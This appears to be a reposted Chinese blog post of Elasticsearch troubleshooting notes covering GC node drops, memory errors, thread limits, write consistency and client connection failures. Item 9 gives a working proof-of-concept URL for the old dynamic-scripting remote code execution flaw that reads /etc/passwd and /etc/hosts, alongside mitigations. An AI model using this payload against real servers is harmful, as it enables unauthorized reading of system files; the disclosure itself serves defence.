1. 程式人生 > >使用elasticsearch遇到的一些問題以及解決方法

使用elasticsearch遇到的一些問題以及解決方法

1.由gc引起節點脫離叢集

因為gc時會使jvm停止工作,如果某個節點gc時間過長,master ping3次(zen discovery預設ping失敗重試3次)不通後就會把該節點剔除出叢集,從而導致索引進行重新分配。

解決方法:

(1)優化gc,減少gc時間。(2)調大zen discovery的重試次數(es引數:ping_retries)和超時時間(es引數:ping_timeout)。後來發現根本原因是有個節點的系統所在硬碟滿了。導致系統性能下降。

2.out of memory錯誤

因為預設情況下es對欄位資料快取(Field Data Cache)大小是無限制的,查詢時會把欄位值放到記憶體,特別是facet查詢,對記憶體要求非常高,它會把結果都放在記憶體,然後進行排序等操作,一直使用記憶體,直到記憶體用完,當記憶體不夠用時就有可能出現out of memory錯誤。

解決方法:

(1)設定es的快取型別為Soft Reference,它的主要特點是據有較強的引用功能。只有當記憶體不夠的時候,才進行回收這類記憶體,因此在記憶體足夠的時候,它們通常不被回收。另外,這些引 用物件還能保證在Java丟擲OutOfMemory 異常之前,被設定為null。它可以用於實現一些常用圖片的快取,實現Cache的功能,保證最大限度的使用記憶體而不引起OutOfMemory。在es的配置檔案加上index.cache.field.type: soft即可。

(2)設定es最大快取資料條數和快取失效時間,通過設定index.cache.field.max_size: 50000來把快取field的最大值設定為50000,設定index.cache.field.expire: 10m把過期時間設定成10分鐘。

3.無法建立本地執行緒問題

es恢復時報錯: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]

剛開始以為是檔案控制代碼數限制,但想到之前報的是too many open file這個錯誤,並且也把資料改大了。查資料得知一個程序的jvm程序的最大執行緒數為:虛擬記憶體/(堆疊大小*1024*1024),也就是說虛擬記憶體越大或堆疊越小,能建立的執行緒越多。重新設定後還是會報那這錯,按理說可建立執行緒數完全夠用了的,就想是不是系統的一些限制。後來在網上找到說是max user processes的問題,這個值預設是1024,這個引數單看名字是使用者最大開啟的程序數,但看官方說明,就是使用者最多可建立執行緒數,因為一個程序最少有一個執行緒,所以間接影響到最大程序數。調大這個引數後就沒有報這個錯了。

解決方法:

(1)增大jvm的heap記憶體或降低xss堆疊大小(預設的是512K)。

(2)開啟/etc/security/limits.conf ,把soft    nproc     1024這行的1024改大就行了。

4.叢集狀態為黃色時併發插入資料報錯

[7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: [email protected]]]

這是錯誤資訊,當時叢集狀態為黃色,即副本沒有分配。當時副本設定為2,只有一個節點,當你設定的副本大於可分配的機器時,此時如果你插入資料就有可能報上面的錯,因為es的寫一致性預設是使用quorum,即quorum值必須大於(副本數/2+1),我這裡2/2+1=2也就是說要要至少插入到兩份索引中,由於只有一個節點,quorum等於1,所以只插入到主索引,副本找不到從而報上面那個錯。

解決方法:(1)去掉沒分配的副本。(2)把寫一致性改成one,即只寫入一份索引就行。

5.設定jvm鎖住記憶體時啟動警告

當設定bootstrap.mlockall: true時,啟動es報警告Unknown mlockall error 0,因為linux系統預設能讓程序鎖住的記憶體為45k。

解決方法:設定為無限制,linux命令:ulimit -l unlimited

6.錯誤使用api導致叢集卡死

其實這個是很低階的錯誤。功能就是更新一些資料,可能會對一些資料進行刪除,但刪除時同事使用了deleteByQuery這個介面,通過構造BoolQuery把要刪除資料的id傳進去,查出這些資料刪除。但問題是BoolQuery最多隻支援1024個條件,100個條件都已經很多了,所以這樣的查詢一下子就把es叢集卡死了。

解決方法:用bulkRequest進行批量刪除操作。

7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream

原因:es節點之間的JDK版本不一樣

解決方法:統一JDK環境


. org.elasticsearch.client.transport.NoNodeAvailableException: No node available

1) 埠錯

client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

這裡9300 寫成9200的話會No node available

要是你連的不是本機,注意IP有沒有正確

2 )jar報引用版本不匹配,開啟的服務是什麼版本,引用的jar最好匹配(這個我沒有去試,反正我的是匹配的)

3) 要是你改了叢集名字,還有設定叢集名字

Settings settings = ImmutableSettings.settingsBuilder().put("cluster.name", "xxx").build(); client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

4)叢集超過5s沒有響應

解決方法1.設定client.transport.ping_timeout設大

2.程式碼內加入while (true) {

try {

bulk.execute().actionGet(getRetryTimeout());

break;

}

catch (NoNodeAvailableException cont) {

Thread.sleep(5000);

continue;

}

}

9.elasticsearch
近日被發現漏洞,可以遠端執行任意程式碼,由於 elasticsearch提供了http介面,導致可能通過CSRF等方式藉助惡意頁面瀏覽發生攻擊

漏洞影響版本:

elasticsearch 1.2以下 

測試程式碼:

http:// ESSERVERIP
:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&_=1400571156309

瀏覽器會返回/etc/passwd內容

解決方案

1、在配置檔案elasticsearch.yml裡設定script.disable_dynamic: true

2、嚴格限制可訪問elasticsearch服務的IP地址

參考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

重啟後報503錯誤

詳情如此下:

[2014-09-23 17:42:33,499][WARN ][transport.netty          ] [Erik Magnus Lehnsherr] Message not fully read (request) for [4961353] and

action [discovery/zen/join/validate], resetting

[2014-09-23 17:42:33,522][INFO ][discovery.zen            ] [Erik Magnus Lehnsherr] failed to send join request to master [[Red Lotus][

UG2WbJpDTHOB-EjzJFRsow][n025.corp.ncfgroup.com][inet[/10.18.6.25:9300]]], reason [org.elasticsearch.transport.RemoteTransportException:

[Red Lotus][inet[/10.18.6.25:9300]][discovery/zen/join]; org.elasticsearch.transport.RemoteTransportException: [Erik Magnus Lehnsherr]

[inet[/10.18.6.90:9300]][discovery/zen/join/validate]; org.elasticsearch.ElasticsearchIllegalArgumentException: No custom index metadat

a factory registered for type [rivers]]

問題原因:都採用預設叢集名字的話,不同人不同I配置發到叢集會進行連線並選Master,有時候可能因為IP限制連線不上。

更改:自己的測試服務儘量個性命名

參考文獻: http://blog.csdn.net/laigood/article/details/8193170

from   http://blog.csdn.net/july_2/article/details/24728733

相關推薦

生產環境使用elasticsearch遇到的一些問題以及解決方法(不斷更新)

1.由gc引起節點脫離叢集      因為gc時會使jvm停止工作,如果某個節點gc時間過長,master ping3次(zen discovery預設ping失敗重試3次)不通後就會把該節點剔除出叢集,從而導致索引進行重新分配。 解決方法: (1)優化gc,減少gc時間。(2)調大zen discovery

使用elasticsearch遇到的一些問題以及解決方法

1.由gc引起節點脫離叢集 因為gc時會使jvm停止工作,如果某個節點gc時間過長,master ping3次(zen discovery預設ping失敗重試3次)不通後就會把該節點剔除出叢集,從而導致索引進行重新分配。 解決方法: (1)優化gc,減少gc時間。(

工作中碰到的一些問題以及解決方法

post content 獲取json jquery app div ner htm his 一、左中右布局,左邊定寬,中、右百分比的布局: (1)HTML代碼: <div class="three-left"> </div> <d

ubuntu使用caffe一些常見坑以及解決方法

1 安裝caffe https://blog.csdn.net/yhaolpz/article/details/71375762 這個博主寫的已經足夠詳細,一般按照該步驟安裝的話一般不會出現安裝不成功的情況 2 按照上篇部落格安裝在最後一步在命令列import caffe時會出現一些疑

配置lnmp環境遇到的一些問題以及解決方法

做後臺技術開發都知道,一般在小公司就業難免會要兼做積分工,購買伺服器,配置linux環境等,我現在講講我在公司配置環境出現的一些小錯誤。如下: 1、配置nginx       常見的一些錯誤:                        我啟動的時候(service

Echarts使用記錄篇,遇到一些比較棘手或者奇怪的問題以及解決方法

1、需求:外層套div,游標移入div層變手形狀。       div增加style.cursor = pointer,echarts更改cursor = default       解決方法:修改echarts的預設z-index為-1; $("#id")[0].fi

對於過濾器中使用getInputStream()、getParameter()接收引數接收不到的一些知識,以及解決方法

昨天,我需要做一個從主專案分離出來的專案對主專案的功能的呼叫,但是在寫Http傳送Post請求時,遇到了主專案接收不到引數的情況,從而引起了我對專案接收引數的一些探討。 我們知道,對於spring專案接收引數用的最多的方式應該是request.getParam

電腦拆機過程注意事項以及一些問題解決方法

自上大學以來,前前後後拆了許多個電腦,也算有了點經驗,剛開始的時候,犯過很多愚蠢的錯誤,現在記錄下來以作“前車之覆” ①螺絲:不同類別螺絲分開放,最好能夠按照拆機順序放好,這樣裝機的時候,可以從最後的螺絲開始裝,也不容易出錯,基本每次拆機,最後都能多出一到兩顆螺絲 ②很多地方是卡扣,就是需要

講excel表插入oracle時出現的一些錯誤,以及解決方法

出現這個提示的時候是說明,在插入的employeename這一個欄位裡面有空值,切記,不是空格,是空值,而我們需要做的是看是否是遺漏了這個名字,或者是包含空值這一行不需要,這時刪除就行,具體情況,具體分析。 情況場景: 表A中有個欄位是外來鍵,關聯了表B中的某欄位,

Mac中用Ant實現Android的批量打包碰到的一些問題以及解決方法

Hello!各位新年好! 昨天下午開始上班,開始整理以前的筆記,留個印記,以免遺忘,當然若能對別人有幫助也再好不過了,今日深圳天氣好的不像話,陽光透過玻璃灑在臉上,舒爽! 首先打包需要準備的情況: 1,Ant和JDK得安裝好了,Ant去官網

為安卓應用新增手勢密碼功能,遇到的一些問題以及解決方法

公司的APP有個需求為他新增類似於支付寶的手勢密碼驗證功能效果圖如下 首先我們要分析三個問題: 1.手勢密碼的作用是什麼? 2.在什麼時候啟動? 3.啟動之後幹什麼? 1.手勢密碼的作用是什麼? 這裡很容易解答,為了APP二次啟動進入進行驗證

安裝Loadrunner遇到的一些問題以及解決方法,license,controller,登錄檔等

** 一、點選controller,開啟指令碼時出現Failed to create Online:無效指標?? ** 解決方案:我驗證成功解決此問題,只限於我的版本和情況。 環境:win7; lr11;無安全軟體,如360安全衛士以及一些防毒軟體等。

查看oracle是否鎖表以及解決方法

div png 介紹 bject 方法 color username col mage Oracle數據庫操作中,我們有時會用到鎖表查詢以及解鎖和kill進程等操作,那麽這些操作是怎麽實現的呢?本文我們主要就介紹一下這部分內容。(1)鎖表查詢的代碼有以下的形式: sele

安裝vCenter6.0遇到的問題以及解決方法

vcenter6.0 vdcpromo vcsservicemanager failed with error code 1603 實驗環境:在Window Server 2008 R2上安裝vCenter6.0,數據庫采用的SQL Server2012 問題一:安裝到50%的時候提示:無法啟動i

Windows7 Python-3.6 安裝PyCrypto(pycrypto 2.6.1)出現錯誤以及解決方法

windows python pycrypto 今天準備在Windows系統上基於python3.6安裝一個pycrypto 2.6.1模塊,很不幸的報了一堆錯誤,如下所示:running installrunning buildrunning build_pyrunning build_extw

Qt5.8 下鏈接 Mysql 錯誤以及解決方法

之前 driver 遠程連接 疑問 bug set deb rst ext Qt 5.8 下鏈接 Mysql(Windows 平臺下),有朋友會出現一個這個無法連接的錯誤   QSqlDatabase: QMYSQL driver not loaded   QSqlDa

js中hover事件時候的BUG以及解決方法

class ron 捕獲 事件 true prop 包括 方法 top hover事件是我們在開發前段時候遇到的稀松平常的問題,但是有沒有發現會出現有一個BUg,比如,你移動到一個元素上,讓它執行一個方法,然後你快速的移入移出的時候,他會進行亮瞎你眼睛的頻閃效果,而且跟得了

死鎖產生的條件以及解決方法

工作 發生 強行 結束 死鎖的四個必要條件 申請 必須 缺點 而且 本文主要講為什麽會產生死鎖?如何避免以及發生死鎖該如何恢復死鎖? 產生死鎖的四個必要條件:(1) 互斥條件:一個資源每次只能被一個進程使用。(2) 請求與保持條件:一個進程因請求資源而阻塞時,對已獲得的資源

20180117MySQL出現Waiting for table metadata lock的原因以及解決方法

存在 ces ldb 環境 gpo open 這就是 理解 而且 轉自http://www.cnblogs.com/digdeep/p/4892953.html 轉自:http://ctripmysqldba.iteye.com/blog/1938150 (有修改) MyS

ajax本地跨域請求以及解決方法

同源策略 AC something 三種 n) req apache2.4 策略 cor 什麽是跨域? ??我們通常所說的跨域是狹義的,是由瀏覽器同源策略限制的一類請求場景。所謂同源是指"協議+域名+端口"三者相同,即便兩個不同的域名指向同一個ip地址,也非同源,只要沒有同